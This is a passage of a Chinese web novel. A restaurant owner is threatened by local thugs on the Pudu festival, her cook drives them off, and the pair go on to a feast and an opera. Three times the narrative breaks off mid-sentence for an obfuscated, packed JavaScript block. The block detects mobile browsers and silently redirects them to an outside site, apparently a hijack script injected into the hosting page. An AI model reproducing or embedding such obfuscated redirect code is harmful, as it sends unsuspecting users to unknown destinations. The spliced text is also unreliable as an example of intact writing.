苏月娘并非许家的人，不能代许东山的劳去宫庙祭祀。 所以，许东山只能硬着头皮，挑着两个装满食物的大筐子，混在那些婶婶婆婆之中，与她们一起去到镇尾的宫庙祭祀。 …… 许东山离开之后，中午上门吃饭的客人也陆陆续续地上门了。 已经从镇尾宫庙回来的红姑及时上门帮忙。 今日是普渡，日子特殊，上门乞食的乞丐尤其多。 苏月娘一向心善，有乞丐上门要饭，她便会将一碗清糊与一碗掐尖的排骨咸饭呈上。 乞丐们口口相传，不一会儿，大门外便窝了一排乞丐享用着头家大方的馈赠。 一排乞丐蹲在店门口狼吞虎咽，多少影响了生意，苏月娘送东西出来时，李金花站在门口大声说着风凉话： “还真是钱烧得慌！还给一群乞丐吃这么好料！这有什么用呢！” 乞丐们受尽了世人的白眼，对于这种风凉话也起不了什么反应。 苏月娘转过头，朝着聒噪的李金花翻了个白眼。 “不够的话找我再要一碗！” “你这人还真是滥好心！你这样能挣钱才怪！小心被吃穷了！”李金花还在一旁孜孜不倦地冷嘲热讽着。 38. 普渡 李金花的风凉话并未影响到苏月娘。 开门做生意，虽要挣钱，却也要记得多多行善。 这是她爹在世的时候，与她说过最多的一句话。 红姑见苏月娘未被李金花的话影响半分，倒是会心一笑。 “伯母您笑什么呢？”客人不多，苏月娘便挽着红姑的胳膊，与她一齐坐在厅堂中歇息。 “阿山二婶的话我都听到了！以前阿山他爹开店的时候就时常给街边的乞丐送面线糊……镇上的人都知道他心善，也都愿意来照顾他的生意……所以说，好人是有好报的！” 有人听见红姑提起这位逝去多年的大善人，忙放下筷子，与身边那些不知所云的友人讲起了老许头家的往事。 苏月娘听着旁人的绘声绘色的讲述，慢慢拼凑出了许东山的爹的形象。 那是一个极为善良、慷慨的男人，待谁都极好，更不曾与人红过脸。 仔细想来，除了不苟言笑以外，许东山的性子好似与他爹一模一样。 她唯一一次见许东山与人冲突，还是因为对方是他那曾经试图调戏过她的堂弟。 …… 普渡日大家都忙，往日生意最好的时辰，今日竟除了门口的几个乞丐外，只有三两个人上门。 苏月娘乐得清闲，坐在堂屋里与红姑闲谈，还与红姑说好了晚上要一起去阿莲、刘昌家吃普渡席。 说笑之间，又有客人上门。 苏月娘瞥见有人站在门边，连忙站起来招待。 “几位吃点什么？” 苏月娘转过身瞧清楚身后站的那几人后，面上灿烂的笑僵了僵—— 那是五个高矮不一、一身邪气的男人。 站没站相，歪肩斜背。 做生意久了，形形色色的人苏月娘见得不少，瞧见那五个男人不怀好意的打量，她暗道不好。 “月娘……”红姑显然也察觉不对劲，慌忙站起来，想要将苏月娘护在身后。 苏月娘却牢牢抓着红姑的手臂，阻止红姑走到自己身前。 那几个男人见苏月娘与红姑面露惊慌，彼此对视一眼，展露出轻浮放荡的坏笑。 为首的那个胖子腆着肚子走到正中坐下后，其余四个小弟才左边两个右边两个地在两侧坐下。 胖子上下打量着苏月娘，这小姑娘果真像旁人说的那样白白净净，貌美非常，若是能弄到手…… 苏月娘被盯得难受，便侧身躲了躲。 “听说月娘头家这儿的面线糊和咸饭是一绝！给我们哥儿几个都上一份！” 红姑紧张地揪着苏月娘的袖口，“月娘，这生意就不做了吧？” 苏月娘轻轻摇了摇头。 她要是说生意不做了，这几个混混想必不会这么轻易地放过她。 不若就先将东西上给他们，拖到许东山回来为止。 苏月娘拉着红姑到厨房去。 一进门，红姑难掩面上焦灼，“这可怎么办啊！阿山不在家，就咱们两个人，怎么对付得了这几个无赖！” “今天大家都在宫庙里挤着，也不知道许大哥什么时候能回来，咱们两个小心一些，别把那几个无赖得罪了！” 两人还在合计着怎么应付，外头那几个男人就大呼小喝起来： “还不快点上菜！我们哥几个都快饿死了！” “月娘头家忙什么呢！手脚飒飒！（1）” 外头人吵吵嚷嚷地在催促，苏月娘和红姑只能赶紧装面线糊装饭。 待东西装好，红姑抢着将面线糊与排骨咸饭端出去。 “几位点的东西来了，请慢用。”红姑小心翼翼地将大托盘里的面线糊、咸饭取出，放在几人的面前。 坐在正中的那个胖子打量着红姑，面露嫌弃，“怎么是你来上菜？你头家呢？” 红姑垂着眼，将桌上的大托盘取下来，挡在身前。 “我是店里干杂活的，菜一般都是我在上……” 胖子没得到满意的回答，不耐烦地挥挥手，“去去去……你这死老太婆一脸老皮，看着碍眼！” 红姑赶紧抱着大托盘，回了厨房。 苏月娘听见胖子对红姑的辱骂，又心疼又气急，偏偏怕对方在店里闹事，只能暂时忍着不发作。 一老一少看着彼此，不约而同地苦笑起来。 “阿生这孩子不知道跑到哪去了！”外头有混混在，红姑担忧那些无赖闹事被阿生撞见。 苏月娘拍了拍红姑的后背，“阿生不在也好……省得看见什么不该看的……” 因着有混混上门的缘故，客人们三口并两口地吃完东西后，便纷纷跑得没了影。 苏月娘与红姑惴惴不安地待在厨房里等着那几个混混走人。 …… 一刻钟后，外头的混混们一边大声说笑，一边吧唧嘴地嚼吧着口中的吃食。 外头气氛还算不错，苏月娘与红姑也能暂时松下一口气。 红姑捶捶绷了许久的后背，冲着苏月娘笑道：“可能是我们想多了……我看他们也不像是来闹事的！” 苏月娘往外张望了一眼，没发现什么异常，她便舒了口气，靠在红姑的肩头一顿蹭： “可吓死我了！等他们走了，我们就关门！” 既然要关门，刷锅洗碗的活还需趁早准备起来，苏月娘和红姑没再多说话，一齐开始了收尾洒扫。 堂屋里的那五个人悄悄观察着厨房里两人的动向。 “老大！她们两个不怕死的居然还有心思干活！咱们哥几个是不是该准备准备了？” 胖子囫囵咽下嘴里的饭，嘴角一提，笑得很是不怀好意。 他夹起碗里剩下的那一块排骨，塞进嘴里用力嚼了几下，而后“呸”一口，吐回了碗里。 小弟们见势起身猛踹周边的长椅。 几块长椅侧面遭了力度不小房几脚，前后摇晃几下后，“砰”地几声陆续倒在了地上，一时间，堂屋中央狼藉不堪。 才松懈下来的苏月娘与红姑听见突然的躁动与巨响，心慌手乱。 红姑匆匆跑回厨房，抱着靠在灶台边的苏月娘，两人皆在颤抖。 “怎么办……阿山还没回来……”红姑语气发颤，嘴唇哆嗦。 苏月娘强颜欢笑地拍了拍红姑的手，“伯母，我出去看看……” 这时候，外头的人又发作了。 “人呢！人都去哪了！居然敢卖搜掉的排骨！”胖子用力地拍着桌子。 有些年头的桌子被拍得啪啪作响，好似再拍几下，那块桌子就会被拍得四分五裂。 苏月娘和红姑两人紧紧握着彼此的手，一齐去到了堂屋。 看到堂屋被那群动起手来没轻没重的混混打砸得满地狼籍，苏月娘呼吸一窒，死咬着牙才压着差点喷涌而出的怒火。 “你可算出来了！刚才我吃到了一块馊的排骨，你今天要是没给我个合理的解释，我就待着不走了！”那胖子一脚踩在长椅上，凶神恶煞地盯着苏月娘。 苏月娘深知对方就是故意来找茬的，毕竟排骨是早上她亲眼看着从一头刚杀的猪身上剜下来的，压根不可能会馊！ 但对方都已经如此打砸了，若是强行与他们争辩排骨是否馊，他们怕是会直接对人动手…… 苏月娘紧了紧拳头，轻声道：“小店招待不周，还请几位客官见谅……今天是普渡，我还要去宫庙烧香，不若我们私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314404|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……” “私了？”胖子的音调陡然提高了几个度，“你要怎么私了？” “这顿饭就当是我请几位客官的了……” “一顿饭而已就想打发我们？你的打发叫花子呢！”胖子抬起腿，踹倒了椅子，那条长椅在苏月娘面前裂成了两半，有一半还顺势弹到了十年脚边。 此时，门外聚了几位路人伸长脖子观望，大家伙叽叽喳喳的。 “他们可是镇上出了名的无赖！月娘头家被他们缠上可真倒霉！” “许师傅好像不在……难怪这群人敢上门欺负月娘头家！” 阿生去街上疯跑一阵后，发现店门口围着一群人，他拼了命地扒开大人们，探出个小脑袋往里一望。 见苏月娘与自家阿嬷被那几个无赖刁难，阿生吓得脸都白了。 “你知道你干爹去哪了吗？赶紧让你干爹回来！” 一经旁人提醒，阿生才想起去找干爹帮忙。 他刚刚依稀听说干爹去宫庙里拜拜，于是，他撒腿往镇尾跑去。 …… 这时候，在宫庙里跟着婶婶婆婆们挤了好半天的许东山挑着担，走在了归家的半途。 放眼望去，满街挑担人，许东山格外与众不同。 周边都是同镇同街的乡邻，有注意到许东山的多少都会盯着他看上几眼，并且和同行的人嘀咕上两句。 一路走来，许东山已经麻木了，只是一味地顶着毒辣的日头快步往前走。 “干爹！干爹！” 阿生带着哭腔的声音传来。 许东山一开始还疑心自己听错了，没曾想定睛一瞧，阿生竟逆着人群，跌跌撞撞地朝着他跑来。 “干爹！有人欺负阿嬷和姑姑！”阿生哭了一路，声音多少囫囵在了喉头，但许东山还是精准地抓住了其中几个字眼。 来不及细问是怎么一回事，许东山随即卸下肩头的担子，朝着家的方向跑去。 阿生含着眼泪看看被扔在地上的担子，再看看已经跑远的干爹，稍作纠结后，立即追随着干爹而去。 …… “让让……让让……都让让！” 许东山一路横冲直撞，总算赶到了家门口。 聚在门口不敢入内的众人赶忙让开一条道容许东山入内。 内里的几个无赖尚不知许东山赶到，仍在对着苏月娘大放厥词： “我告诉你！我们老大可不会这么轻易地放过你！” “除非……” 苏月娘与红姑紧挨在一起，两人被气得呼吸不平，嘴唇发白，可偏偏又无人敢来相助…… “除非月娘头家陪我们老大好好玩一玩！怎么样？这样解决不算过分吧？”替胖子发声的瘦小弟得意地笑着。 怎知下一瞬，乐极生悲。 许东山一把揪着那小弟的后领，手腕一转，将他狠狠地往大门上一砸： “砰——当！” 人被怼在门板上，后脑勺撞在了门板的拉环上。 一瞬间眼冒金星，脑子空白。 “玩什么？我陪你们玩！” 有力的拳头青筋暴起，用力一挥，发出一道破风的脆声，而后精准地落在那人的左脸，脑子昏得还没缓过劲儿的那人被打得脸面一飘，像是失去全身力气一般，歪歪斜斜地倒在地上。 苏月娘只是觉得眼前人影一晃，挪眼一看，高大伟岸的身影立与门边，眼神冰冷地盯着躺在地上不停呻.吟的那人。 那眼神…… 好似在看一个死人！ “许……许大哥！” 苏月娘鼻头一酸，打转许久的眼泪终于在见到许东山的这一刹那，无阻无拦地落下。 39. 油柑枝 许东山顺声望去。 入目的是一地狼藉与两眼通红的她。 许东山紧了紧牙关，锐利的眼神好似利剑，狠狠射向了长得较为突出的胖子。 胖子也曾听闻过许东山的大名——从一场死伤惨重的战役上全须全尾地回来的人。 他大抵不是个好惹的主。 可他已经将店打砸了，还口头调戏了苏月娘……这会儿和许东山认怂，应该是来不及了。 胖子稳住发虚的眼神，看了眼边上三个有些手抖的小弟。 小弟们胆颤地咽了咽口水，做足了心理准备后才朝着许东山冲上去。 许东山见此，竟冷笑了一声。 一个看着不怎么有力道的拳头朝着许东山冲去，许东山偏头一避，抬手扣下对方的手腕，用力往下用力一折，没等对方惨叫，许东山又狠拽他的手腕。 “咔嚓——” 只见对方臂膀处骨与骨脱节，整条手臂松松垮垮地耷拉下来。 随手将整条胳膊被卸下来的这人往边上一甩，许东山抄起脚边的半截长椅，冲着另外两人当头一砸。 木头与人头相碰的声音可不小，那两个小弟可不只是被砸懵了，一个被砸晕，一个当场头破血流，半天都没能缓过劲来。 胖子见许东山三下两下就将自己的小弟们解决了，一时间怕得下意识往后退。 “你……你别过来！咱们有话好好说！”胖子抖若筛糠，下巴的几层肥肉肉眼可见地发颤。 “有话去和阎王说！”许东山阔步冲上前，大手一把掐住胖子的脖颈。 胖子被掐得被迫仰着头，双目圆瞪，鼻孔大张，一双白胖的手死死扒着许东山的手腕。 奈何许东山用了十成的力道，不容半分退让，那胖子如何挣扎都无用。 眼瞧着胖子的脸逐渐变得青紫，苏月娘怕出人命，连忙出声制止，“悠着点！别让他死在这儿！” 苏月娘拢回了许东山溃散的理智。 许东山松开手后猛然抬腿，往胖子两腿之间一撞。 面色又青又白的胖子紧紧捂着正中，倒在地上尖叫发抖。 如此惨状让外头的看客们倒吸了一口凉气。 “许大哥！” 心中极为不安的苏月娘朝着许东山小跑去，一头猛扎在许东山的怀里嚎啕起来。 怀里忽然多了个人，自己的腰身也被牢牢环着……许东山有一瞬发愣，他听着苏月娘的哭声与难以辨认的语句，心里又酸又麻。 “好了……我在……”许东山不再犹豫，双手抬起，牢牢拥住他的心上人。 宽大温暖的怀抱渐渐抚慰了苏月娘心头的恐惧，嚎啕化为抽噎，可抱着许东山的双臂未曾挪动半分。 外头一阵躁动。 “让开！都让开！” 有看客惊呼，“是捕快来了！” 虽看客们不敢进门掺和，但总有好心人会去报官，让自来让人生畏的捕快来解决这些街头无赖。 一队捕快提着剑冲进店里，头一个进门的没注意到门边躺着个人，一脚踩上去，还险些摔了个狗吃屎。 捕快们看看伤势各不同的无赖们，再看看相拥在一起的许东山与苏月娘。 捕头朝着许东山走去，许东山连忙松开苏月娘。 “许师傅久仰大名！我是衙门捕快林大头！” 林捕头早听闻过许东山的大名，毕竟当年全乎回来的青壮就许东山一个。 “这些无赖上门打砸，还想调戏我头家，麻烦大人帮忙主持公道！” “这些人这段时间闹了不少事，那些苦主又都没有报官……我们还正愁逮不到人呢！多谢了！”林捕头朝着身后几个人挥挥手，示意他们将那五个无赖架走。 无赖和捕快们离开了，围在店外的看客们纷纷跑入店里关心苏月娘。 苏月娘缓过劲儿来后只是摆手说无事，再看看店里的一片狼藉，她只能无奈宣布闭店几日，等桌椅换了新再重新开业。 店里杂乱，苏月娘和红姑又受了惊吓，许东山等客人们问完苏月娘的情况后，便委婉地请客人们离开。 大门关上后，红姑与许东山着手清理起了满地狼藉。 好好的桌椅被那几个无赖打砸碎裂，当真是可惜。 苏月娘已经止住了哭泣，而被吓坏了的阿生还在一抽一抽地落泪。 苏月娘搂着阿生好一顿哄，才勉强让阿生止住眼泪。 被打砸坏的桌椅数量众多，一时间找不到地方安置，简单拾掇到后屋院子里堆着，再扫扫地，余下的事情明日再说。 至此，红姑也先带着阿生回家去歇息。 虽然那几个无赖已经被捕快带走了，但是苏月娘心里还是一阵后怕。 眼瞧着许东山出门干活的时辰快到了，思来想去，苏月娘还是决定开口： “许大哥，我可以跟着你走吗？” 许东山有些诧异，“跟着我走？” “我有点怕……” 想起方才那凶险的一遭，许东山便爽快地答应了苏月娘的请求。 待苏月娘简单梳洗了一番，许东山便带着苏月娘出门了。 …… 普渡鬼行之日，家家户户都在忙碌，但因为有普渡宴的缘故，街上的行人并不算少。 有人祭祀结束挑着大担归家，有人端着提前备好的菜品去往合办普渡宴的人家。 苏月娘方才受了惊，极怕见不着许东山，便一直悄悄扯着许东山的后衣摆，紧紧跟在他的身后。 身后有着轻微的拉扯感，许东山便知道是苏月娘拉着他的衣衫，他想牵着她的手带着她走，可男未婚女未嫁的，这样做并不妥当。 他忍下冲动，放慢脚步，带着苏月娘朝着主家赶去。 走至另一条街口，苏月娘远远看见前边搭了个大戏台。 “我家那儿普渡的时候也会这么热闹，以前过普渡的时候，我爹在家招待客人，我就自己一个人跑到祖厝看戏！” 都说每逢佳节倍思亲，可出门在外的苏月娘却会在普渡这样的日子里想起她爹。 许东山察觉到苏月娘语气里的失落，不免想起了他连最后一面都没见到的爹。 离戏台愈发近了，许东山瞥见早早占据戏台两边的小摊贩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323235|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “跟我过来！” 苏月娘忙跟着许东山的脚步调转了方向。 许东山直奔戏台侧边，一个举着一杆子油柑枝的阿婆。 阿婆见这么快有人上门，忙直起杆子，将油柑枝展示给许东山和苏月娘看。 “油柑枝一支三文钱！糖片一支一文钱，要的话自己挑！” 许东山绕着那根顶上包布扎满油柑枝的杆子转了一圈，最后挑了一支个头最大的油柑枝和一支红色的糖片。 将油柑枝和糖片递给苏月娘后，许东山从兜里掏出四个铜板交给了阿婆。 两人继续往前走，苏月娘举着油柑枝和糖片瞧来瞧去。 六颗通体黄色的油柑从大到小串成了一串，外面还裹着一层透明质脆的糖浆。而糖片里大概是加过红花米，整片都是红的，表面略有几个空洞。 苏月娘探头，“许大哥想吃哪个？” 许东山，“都是给你买的。” “那我就不客气了！”苏月娘笑着将油柑枝送进嘴里。 从两颗油柑相连的凹陷处咬下，透明的脆糖衣分开，第一颗裹着脆糖的油柑入了口。 经验告诉苏月娘，万万不可等糖衣融化了再咬油柑。 因为就连就着糖衣咬油柑，一阵短暂的清甜后，油柑的苦、酸、涩便抢占了整个口腔。 苏月娘被油柑酸苦得牙酸脸皱，好半天才缓过来。 油柑又被称为余甘，一阵强烈酸苦涩后甜味慢慢涌上来。 就是因为这样，入口味道不怎美的油柑枝才会受到小孩子们的青睐，而且吃过油柑枝的人，只要一看到油柑枝，嘴里便会不自觉地分泌口水。 苏月娘吃了两颗后，被糖衣黏了牙，她撞了撞许东山的胳膊，“许大哥吃一颗油柑吗？” 许东山看了眼苏月娘咬过两颗的油柑枝，“怎么吃？” 苏月娘举起了手，将油柑枝递到许东山面前，“直接咬吧！第二颗我是从中间咬下来的，第三颗我没碰过！” 既然如此，许东山便俯身咬住第三颗油柑的正中间，小心地将油柑与糖衣顺着签子咬下来。 苏月娘一直盯着许东山的脸，想看他因为油柑的酸涩而失态，可看了许久，许东山都是面无表情的。 她有些失望，“许大哥，你居然受得住油柑的酸涩？” 许东山瞥了苏月娘一眼，忽然明白了她想看什么。 他不是受得住油柑的滋味，而是怕在苏月娘面前失态。 他心里很是无奈，却愿意迁就苏月娘那点可爱的小心思。 于是，他又咬了一口油柑，五官听话地缩到了一块儿。 苏月娘看到了想看的，满意地一笑。 “好了好了，不逗你了，吃点甜的缓一缓！”苏月娘大方地将另一手的那枝糖片递给许东山。 许东山接过糖片，看了许久。 其实，那油柑枝还怪甜的…… 滋味奇妙的油柑枝让苏月娘忘记了方才的恐惧，她一边呲牙咧嘴地咬着油柑枝，一边与许东山聊着一些闲事。 两人慢慢地朝着要办普渡宴的主家走去。 40. 芋圆蒸螃蟹 主家大门敞开，三两个家仆蹲在门边一边折金纸，一边闲聊。 许东山表明了身份，问了去路后，便带着苏月娘入内。 这家是镇上的巨富，世世代代出海行商，家业庞大，所住的红砖厝自然也是又大又漂亮，大门正上，装着一块有着龙飞凤舞的四个大字的石匾。 苏月娘仔细一瞧，匾上刻着： “延陵传芳”。（1） 延陵吴氏，主家姓吴。 其实这石匾像样点的人家都会有，悬挂在门上，外人看头两个字便知道主家姓什么、祖上从哪儿来，尾两字不是传芳便是衍派，就如苏月娘家门口的是“武功传芳”，许东山家门口的是“高阳衍派”。 苏月娘一进门，便悄悄转溜着眼珠子，不停地打量着这宅子的屋檐、花草。 形似满月的燕尾脊翘尾上扬，尾段分为二叉，燕尾脊弯处蹲着一只上过彩漆的神气吻兽，而燕尾脊下以白色的云纹、蝙蝠纹作装饰。（2） “这家好气派，等我有钱了，我也盖一个！”苏月娘瞧得眼睛都亮了。 “好。”许东山仰头，记下了这家的屋脊的模样。 …… 宴席班子众人已经在后院架好了锅灶，几个岁数小的厨子已经开始着手备菜了。 黄阿三左等右等，总算等到许东山过来。 “你怎么这个时候才过来了？我还以为你反悔了！”黄阿三走上前去，看到跟在许东山身后的苏月娘，面上的笑淡了一点，“你表妹怎么还跟来了？她就这么怕我把你抢走？” 背后缘由许东山当然不会细说，他只是自顾自地给苏月娘寻了个地方让她坐着歇息。 “让她一个人待在家里我不放心，索性就带过来了。” 见苏月娘乖乖巧巧地坐在一边五官乱飞地吃着油柑枝，没有半点要捣乱的迹象，黄阿三便不管她了。 “今天一桌十六道菜，里里外外一共有三十桌，有些食材我们上街买了现成的，但是有几样买不到，芋圆你最拿手，就辛苦你准备一下芋圆！”黄阿三将拟好的菜单递给许东山。 虽说只是个厨子，但许东山也是认得几个字的，看一张菜单并不在话下。 将菜品牢记于心后，许东山将菜单还给黄阿三，并撸起袖子，着手做起了芋圆。 岁数大了、辈分高了还真是一件好事。 许东山才洗完手，宴席班子里的两个学徒便已经端着两大盆切好的芋头丝毕恭毕敬地放在许东山身边。 还不忘说一句： “许师叔，这是芋头丝！” 这两个学徒是黄阿三的徒弟，叫许东山师叔也是应该的。 许东山倒还挺有做师叔的样子，他转过身，随手拨了拨芋头丝，眉头紧皱。 那两个小学徒紧张地搓着手，生怕挨训。 “芋头丝粗细不均，你的刀工还得多练！” 小帮学徒无措地看着那盆芋头丝，小心翼翼问道：“我……我再去切两盆。” 许东山，“算了，你去洗点葱铺在蒸锅底下，一会儿我要用。” 小帮厨们见许东山没有要刁难自己的意思，感激地朝着许东山鞠了一躬后，便小跑去找葱了。 不远处的苏月娘目睹全程，她抓着那根已经没有油柑的签子走上前来瞧了一眼。 “这芋头丝切得也没那么不均匀啊……该不会是你想耍一把师叔威风吧？” 许东山，“……我没有。” 短暂的沉默那便是有。 苏月娘笑了两声，便四处去找地方扔签子了。 大厨做菜靠的是经验与手感，许东山面对那两盆芋头丝，动作麻利地撒上盐等调味，再用手来回翻拌均匀味道。 苏月娘回来时，许师叔又在摆他的师叔谱了。 “一斤芋头丝配大概六两半的地瓜粉口感最好，你们好好称，别称错了！” 先前的芋头丝多重已有定数，两个小学徒只需要称地瓜粉便是。 “总共不到七斤七两的芋头，那就需要……” 哥俩在那儿掐算了半天，没算出来，许东山面露不耐。 苏月娘觉得好笑，便提醒道：“大概需要三斤多不到半两。” 苏月娘长得面相善良，不像是在骗人，两个小学徒连忙照着一斤二两来称。 “你怎么就告诉他们了？” “叫你故意吓小孩！” 这人在家里做菜向来靠感觉，手一抓、勺一舀，觉得差不多了就下料。 苏月娘一个人在边上坐着也无聊，索性站在边上看他们几人做事。 两个小学徒称好了三斤多一点的地瓜粉分别倒入了两个盆中，而后局促地站在一旁等许东山教做芋圆。 许东山着手揉起了芋头丝与地瓜粉，芋头上带着一点水分，能够轻易化开地瓜粉，使地瓜粉变得粘黏。 反复揉制，芋头丝与地瓜粉被揉在了一齐，抓拌紧实上劲，余鲜少湿地瓜粉挂在壁上下不来。 “今天的芋圆要和螃蟹一起蒸，我个人做这道菜的时候，习惯把芋圆切成厚圆片放在盘底铺着，当然，也有人会切成条……”许东山沾满白色芋头丝和地瓜粉的双手捧起一大团，搓成半个小手臂那般大小的圆条，“既然要切圆片，就搓成这样。” 随后，许东山将芋圆条放入了一旁铺满绿葱的蒸锅中。 两盆芋圆正好放满三个蒸锅，两个小学徒叠起蒸锅，合力将蒸锅抬入厨房里去蒸。 小学徒们走了，许东山开始狼狈地搓手了。 地瓜粉黏糊难缠，许东山手泡在清水里搓了一会儿，水浑了，可手上的地瓜粉却还没洗下来。 苏月娘见状，找来水瓢，舀水给他冲手。 许东山倒是个爱干净的，手面上的搓完，还要抠指甲缝里的，直到手洗得干干净净的才让苏月娘停止倒水。 …… “月娘头家？许师傅？你们怎么在这里！” 苏月娘蒸与许东山闲聊着，便听见有人唤她。 转过头，是干货行的吴头家。 “哎呦！刚刚听人说你的店出了点事，我就过去看了一眼，没想到门已经关了！你没事吧？” “多谢挂念，我没事……那几个无赖已经被抓走了！” 吴头家上下打量着苏月娘，见苏月娘除了眼睛有些红肿以外，其他倒没什么大碍，便放了心。 “这是我堂伯家，今年我们几家亲堂一起合办普渡宴，你也别在后面待着了！我带你去吃席！” 能去前面跟着热闹总比缩在后面绕着许东山转来转去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331561|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服。 “许大哥，你好好做这道菜！我等着呢！”苏月娘嘱咐过后，便欢欢喜喜地随着吴头家去外头了。 吴头家带着苏月娘四处认识人，还同人家说苏月娘是他最近认识的一个很会做生意的小友。 吴家多是生意人，听说苏月娘一个女孩子自己开了一家面线糊店，都纷纷对她高看了几分。 —— 日落山头，吴宅的下人们用长杆撑起一盏盏灯笼，挂在了宅院四处，以灯火代天光，昏暗，却有夜席的氛围。 苏月娘在吴头家的安排下，坐在了吴家几个姑娘那一桌。 几个吴姑娘对在外做生意的苏月娘很是好奇，对着她叽叽喳喳地问了一堆。 气氛倒还算不错。 繁琐的仪式在白日里已经做完了，夜里，人们只需热闹地聚在一起吃好喝好便是。 灯笼挂完了，后厨的菜一样接一样地端出来。 桌子并不怎大，头一波就只先上了五道菜供客人们垫肚子。 不得不说黄阿三这宴席班子的出菜当真是不错，不仅菜盘样式别致，菜的味道、装饰都是格外出挑的。 苏月娘在用料丰富的花生酱卤面里尝到了熟悉的味道。 同席的小姑娘都在夸赞卤面好吃，苏月娘便趁机与她们道： “做这卤面的师傅其实是我店里的厨子！” 姑娘们听了，顿时就起了兴趣，还说活几日得了闲，会去月娘面线糊店尝尝别的吃食。 虽说店中吃食定价低，真要算起来也就是挣个辛苦钱，但是钱财向来是积少成多的，只要多一个客人，赚到手的钱就又多一些。 一看自己揽到了五六个客人，苏月娘胃口大开地多盛了一碗卤面。 吃过了卤面之后，不再那么饥饿的客人们开始边闲聊，边吃其他几盘凉菜热菜，这也给了后面的厨子们充足的准备时间。 第二批菜即将上桌是，第一批菜已经吃得七七八八了，吴家的下人们上前收拾第一批的空盘剩菜，好让第二批菜有处可放。 苏月娘期待地看了半天，没等到许东山那道芋圆蒸螃蟹。 不过苏月娘喜爱的炖汤、蒸鱼、炸物皆在，她便没有刻意为芋圆蒸螃蟹留肚子。 第二批菜上完之后，其他的菜便开始保持半刻多钟一道的出来。 出到第三道，总算是苏月娘最期待的芋圆蒸螃蟹。 灰色微透的芋圆满满当当地铺在盘子下层，上方堆叠着橘红色外壳的螃蟹块，以葱丝、姜丝、蒜蓉为点缀，再淋上一圈蒸鱼豉油，这一道卖相极佳的芋圆蒸螃蟹一上来，便遭到了大家伙的哄抢。 好在这桌的姑娘都较为文雅，苏月娘毫不费劲地夹了几大片芋圆和几块螃蟹放到了自己碗里。 比起螃蟹，苏月娘还是更期待芋圆。 芋圆稍微黏碗，但稍一夹，便能够很轻易地夹起来，虽说芋圆片色灰，长得不怎么起眼，但送入口中稍咀嚼，那叫一个芋香浓郁、弹牙筋道，尤其是沾上了些许味道鲜美的蒸鱼豉油，那滋味美得当真能将这芋圆单拎出来做一道主菜。 尝过一片极有嚼劲的芋圆后，苏月娘用筷子剜出螃蟹身里的白色蟹肉，蘸了蘸蒜蓉酱油醋汁再送入口，螃蟹肉口感清爽，滋味鲜甜，与芋圆堪称绝配。 41. 心意相通 吴家丰盛的普渡宴让三十桌的宾客们吃得满嘴流油、扶着墙出。 苏月娘留在院子里与刚认识的几个年轻姑娘说了好一会儿话，才依依不舍地与她们道别。 她站在吴家门边一直等着，直到宾客们都快走光了，才等到帮忙清理完厨具的许东山提着两条芋圆走出来。 “走吧，回家吧！”虽然许东山忙了大半日，但方才收下的那沉甸甸的一大串钱让他的疲惫一扫而空。 苏月娘冲他笑，“我刚刚打听过了，街上的戏还要演好一会儿，我们看会儿再回去吧？” 虽说许东山对看戏并不感兴趣，但苏月娘如此期待，他便舍弃了回家歇息的念头，打算陪她去看一会儿。 怕赶不上戏，苏月娘一路催着许东山跑快一些，许东山落后了一截儿，她便折返回去，拉上他的小臂带着他一起跑。 许东山脚上随着苏月娘往前跑，可眼睛却是一直盯着她握着自己的手。 她的手小，握不住他结实粗壮的小臂，有时不慎滑了些，她又往上挪了挪，用力地抓着他。 深夏裹挟着些许燥热的晚风走街串巷，逆着向前小跑的两人吹去，许东山心生悸动，满身燥热。 一年到头也就演那么一两次戏，镇上的人们只要能熬得住的，皆堆在戏台前伸头看戏。 台上是梨园戏，满排灯火照亮台上几位角儿着夸张妆容却透着一丝清丽的面。（1） “这演的是哪出戏啊？”来晚了的后果便是不知前因。 “唱的是《陈三五娘》！这已经是最后一场，马上就要结束喽！”（2） 苏月娘努力地踮着脚尖想往台上瞧，奈何她看不着，前头的人也被更前头的人挡住视线，人群动来动去，苏月娘看不见台上的风景，只能听女角伴着雅乐咿呀唱着词。 许东山见之，拍了拍苏月娘的肩膀。 苏月娘疑惑回过头。 许东山稍微蹲了点，将胳膊递给她，“来吧，坐我胳膊上。” “这……”看着许东山结实有力的粗胳膊，苏月娘不怀疑他是否能托住自己，但毕竟两人未娶未嫁的，如此举止，不怎妥当。 “那……那算了吧……”看到了苏月娘眼中的犹豫，许东山抿抿唇，收回了胳膊。 “等等！”苏月娘见他就要直起身，连忙拉住他，而后微微屈膝，坐在了许东山的胳膊上，而后双手环住了许东山的脖子。 